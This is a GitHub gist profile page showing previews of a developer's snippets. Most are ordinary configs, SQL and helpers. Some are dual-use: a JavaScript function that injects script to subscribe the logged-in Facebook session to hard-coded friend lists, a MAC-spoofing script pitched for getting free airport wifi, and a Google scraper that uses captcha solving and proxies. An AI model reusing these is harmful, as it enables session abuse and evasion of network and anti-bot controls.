Skip to content

Instantly share code, notes, and snippets.

View kjellberg's full-sized avatar
🎯
Focusing

Rasmus Kjellberg kjellberg

🎯
Focusing
View GitHub Profile
function Kodran(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a)
}
Kodran("1379575028991328");
Kodran("1379738492308315");
Kodran("562521103826775");
Kodran("262651447224104");
Kodran("476344322481300");
#!/bin/bash
: '
Change your mac address on a MacBook
Can be used for free wifi on airports or train stations =)
$ chmod +x freewifi.sh
$ ./freewifi.sh
'
interface=en1 # en0 for cable & en1 for wifi
@kjellberg
kjellberg / airport.sql
Created January 26, 2015 19:50
airport.sql
This file has been truncated, but you can view the full file.
CREATE TABLE IF NOT EXISTS `airports` (
`id` int(11) NOT NULL,
`name` varchar(255) NOT NULL,
`city` varchar(255) NOT NULL,
`country` varchar(255) NOT NULL,
`iata_faa` varchar(255) NOT NULL,
`icao` varchar(255) NOT NULL,
`latitude` varchar(255) NOT NULL,
`longitude` varchar(255) NOT NULL,
`altitude` varchar(255) NOT NULL,
jQuery(function(){ var jji = jQuery("iframe[src*='http://jss.jajja.com']"); jji.on('load', function() { _gaq.push(['_trackEvent', 'Jajja', 'Signup']); }); });
<?php
namespace App;
class Grepwords
{
public static function search_volume ( $keyword )
{
$apikey = config('services.grepwords.api_key');
<?php
$keyword = "test kit";
$dbc = new DBCSolver("user", "pass");
$google = new GoogleSearch();
$proxy = Proxy::getProxy();
// all available preferences for Google
<body class="home blog logged-in safari">
<?php
add_filter('body_class','browser_body_class');
function browser_body_class($classes) {
global $is_lynx, $is_gecko, $is_IE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone;
if($is_lynx) $classes[] = 'lynx';
elseif($is_gecko) $classes[] = 'gecko';
elseif($is_opera) $classes[] = 'opera';
elseif($is_NS4) $classes[] = 'ns4';
alias rsrv="bundle exec rails server"
alias rcons="bundle exec rails console"
alias rguard="bundle exec rails guard"
alias grd="bundle exec rails guard"
alias rdeploy="bundle exec cap production deploy"
alias rmig="bundle exec rake db:migrate"
alias rgen="bundle exec rails generate"
# 4 space indentation
[*.py]
indent_style = space
indent_size = 4
# 4 space indentation
[*.php]
indent_style = tab
indent_size = 4